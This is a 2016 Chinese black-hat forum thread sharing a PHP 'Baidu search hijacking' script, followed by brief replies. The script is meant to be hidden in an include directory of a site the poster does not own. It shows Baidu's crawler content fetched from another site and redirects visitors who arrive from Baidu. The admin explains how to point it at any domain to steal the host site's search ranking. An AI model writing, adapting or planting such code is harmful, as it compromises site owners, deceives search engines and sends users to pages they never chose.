黑帽联盟

标题: 最新百度搜索引擎php劫持代码 [打印本页]

作者: admin    时间: 2016-10-9 23:16
标题: 最新百度搜索引擎php劫持代码
<?php
################################################
# 可以把本文件放在类似inc、include这样的目录中 #
#    首页require_once('本文件路径');就可以了   #
#                这样会比较隐蔽                #
################################################
if (ereg("http://www.baidu.com/search/spider.htm", $_SERVER["HTTP_USER_AGENT"])) {
        //判断搜索引擎,这里是百度,可以自行添加蜘蛛
/*
Header("HTTP/1.1 301 Moved Permanently");
Header("Location: https://bbs.cnblackhat.com/");
//这是301跳转,301主要针对搜索引擎,如果你想告诉搜索引擎这个页面已经更换URL了的话...
*/
$file = file_get_contents('https://bbs.cnblackhat.com/forum.php');
echo $file;//输出指定文件内容
exit;
}
//判断来路  
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {//如果用户来自baidu.com
//Header("HTTP/1.1 301 Moved Permanently");//301跳转,也可以不用301,直接跳转,301状态码主要针对搜索引擎使用
Header("Location: https://bbs.cnblackhat.com/");//跳转
exit;  
}
?>


举例个例子,如果我要劫持到http://www.yunrank.cn/,关键词劫持我想要2个,云排名 和 云优化这两个,请问代码要修那几处,除了代码修改,还需要准备哪些文件。

答:

首先这个代码不是是说用来劫持某个或者某几个关键词,你只要把代码中的bbs.cnblackhat.com替换成你希望做SEO的地址就可以了,比如你说的http://www.yunrank.cn/,还有倒数第四行的地址也改成你的http://www.yunrank.cn/,这样就行了。所实现的功能就是,当百度蜘蛛爬到站点A当中时,我们通过这段代码判断出来是百度蜘蛛来访,所以把我们的设定好的内容(第十四行)给蜘蛛看,因为这个站点的权重高,所以如果百度抓取了这个快照的话,当我们下次搜索这个关键词的话,这个快照就将会排在较靠前的位置(根据站点A的权重决定),而当来自百度搜索的用户点击这个链接的时候,我们同样是通过这段代码判断出来的,所以跳转到我们希望让用户看到的页面。

php代码中双斜杠(//)和/*、*/中间的内容都是注释,比如针对百度蜘蛛所采取的动作,其实你可以选择让蜘蛛看特定的内容,或者直接301跳转到你的页面(传递搜索引擎权重),具体采取哪种方式根据自己的需要,注释掉相应的内容即可。


作者: 爱琢磨    时间: 2016-10-16 11:37

作者: xzccm87    时间: 2016-10-26 02:11
看的不是很明白 怎么办
作者: admin    时间: 2016-10-26 09:03
xzccm87 发表于 2016-10-26 02:11
看的不是很明白 怎么办

学些php
作者: bt8059    时间: 2016-10-26 18:54
很好很强大
作者: guirizi001    时间: 2016-10-28 11:15
谢老大分享,说得太清晰明了了!
作者: wa52422    时间: 2016-11-23 22:44
不错
作者: yaoyao123    时间: 2017-3-31 15:26
水平不够完全不懂
作者: 璀璨李0804    时间: 2017-8-5 14:09
看起来有些吃力,感觉视频类教程才是我的正道。




欢迎光临 黑帽联盟 (https://bbs.cnblackhat.com/) Powered by Discuz! X2.5